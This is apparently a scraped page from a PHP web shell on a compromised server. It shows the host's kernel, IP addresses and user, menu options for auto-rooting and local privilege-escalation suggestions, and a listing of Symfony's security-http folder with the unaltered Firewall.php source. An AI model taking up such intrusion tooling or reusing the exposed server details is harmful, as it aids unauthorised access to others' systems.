Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.141.199.214
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
security-http /
Delete
Unzip
Name
Size
Permission
Date
Action
Attribute
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Authentication
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Authenticator
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Authorization
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Controller
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
EntryPoint
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Event
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
EventListener
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Firewall
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Impersonate
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
LoginLink
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Logout
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
RateLimiter
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
RememberMe
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Session
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
Util
[ DIR ]
drwxrwxr-x
2022-07-29 07:37
AccessMap.php
1.33
KB
-rw-rw-r--
2022-07-29 07:37
AccessMapInterface.php
837
B
-rw-rw-r--
2022-07-29 07:37
CHANGELOG.md
1.3
KB
-rw-rw-r--
2022-07-29 07:37
Firewall.php
4.09
KB
-rw-rw-r--
2022-07-29 07:37
FirewallMap.php
1.52
KB
-rw-rw-r--
2022-07-29 07:37
FirewallMapInterface.php
1.16
KB
-rw-rw-r--
2022-07-29 07:37
HttpUtils.php
7.1
KB
-rw-rw-r--
2022-07-29 07:37
LICENSE
1.04
KB
-rw-rw-r--
2022-07-29 07:37
ParameterBagUtils.php
2.44
KB
-rw-rw-r--
2022-07-29 07:37
README.md
1.16
KB
-rw-rw-r--
2022-07-29 07:37
SecurityEvents.php
1.43
KB
-rw-rw-r--
2022-07-29 07:37
composer.json
1.67
KB
-rw-rw-r--
2022-07-29 07:37
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Security\Http; use Symfony\Component\EventDispatcher\EventSubscriberInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Event\FinishRequestEvent; use Symfony\Component\HttpKernel\Event\RequestEvent; use Symfony\Component\HttpKernel\KernelEvents; use Symfony\Component\Security\Http\Firewall\ExceptionListener; use Symfony\Component\Security\Http\Firewall\FirewallListenerInterface; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; /** * Firewall uses a FirewallMap to register security listeners for the given * request. * * It allows for different security strategies within the same application * (a Basic authentication for the /api, and a web based authentication for * everything else for instance). * * @author Fabien Potencier <fabien@symfony.com> */ class Firewall implements EventSubscriberInterface { private $map; private $dispatcher; /** * @var \SplObjectStorage<Request, ExceptionListener> */ private $exceptionListeners; public function __construct(FirewallMapInterface $map, EventDispatcherInterface $dispatcher) { $this->map = $map; $this->dispatcher = $dispatcher; $this->exceptionListeners = new \SplObjectStorage(); } public function onKernelRequest(RequestEvent $event) { if (!$event->isMainRequest()) { return; } // register listeners for this firewall $listeners = $this->map->getListeners($event->getRequest()); $authenticationListeners = $listeners[0]; $exceptionListener = $listeners[1]; $logoutListener = $listeners[2]; if (null !== $exceptionListener) { $this->exceptionListeners[$event->getRequest()] = $exceptionListener; $exceptionListener->register($this->dispatcher); } // Authentication listeners are pre-sorted by SortFirewallListenersPass $authenticationListeners = function () use ($authenticationListeners, $logoutListener) { if (null !== $logoutListener) { $logoutListenerPriority = $this->getListenerPriority($logoutListener); } foreach ($authenticationListeners as $listener) { $listenerPriority = $this->getListenerPriority($listener); // Yielding the LogoutListener at the correct position if (null !== $logoutListener && $listenerPriority < $logoutListenerPriority) { yield $logoutListener; $logoutListener = null; } yield $listener; } // When LogoutListener has the lowest priority of all listeners if (null !== $logoutListener) { yield $logoutListener; } }; $this->callListeners($event, $authenticationListeners()); } public function onKernelFinishRequest(FinishRequestEvent $event) { $request = $event->getRequest(); if (isset($this->exceptionListeners[$request])) { $this->exceptionListeners[$request]->unregister($this->dispatcher); unset($this->exceptionListeners[$request]); } } /** * {@inheritdoc} */ public static function getSubscribedEvents() { return [ KernelEvents::REQUEST => ['onKernelRequest', 8], KernelEvents::FINISH_REQUEST => 'onKernelFinishRequest', ]; } protected function callListeners(RequestEvent $event, iterable $listeners) { foreach ($listeners as $listener) { $listener($event); if ($event->hasResponse()) { break; } } } private function getListenerPriority(object $logoutListener): int { return $logoutListener instanceof FirewallListenerInterface ? $logoutListener->getPriority() : 0; } }